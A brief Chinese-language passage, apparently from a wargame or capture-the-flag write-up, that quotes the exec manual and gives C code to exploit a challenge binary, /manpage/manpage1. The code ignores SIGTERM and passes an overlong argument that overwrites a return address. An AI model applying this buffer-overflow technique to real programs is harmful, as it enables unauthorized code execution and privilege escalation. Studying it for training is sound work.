exec的manual里是这么说的
Except for SIGCHLD, signals set to be ignored (SIG_IGN) by the calling process image shall be set to be ignored by the new process image.
于是我们先把SIGTERM设为忽略，再调用manpage1
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *args[]) {
char arg1[273];
memset(arg1, 'A', sizeof arg1);
strncpy(arg1+268, "\xf1\xd8\xff\xff", 5);
signal(SIGTERM, SIG_IGN);
//execl("./././././envAddr", "", arg1, NULL);
execl("/manpage/manpage1", "", arg1, NULL);
}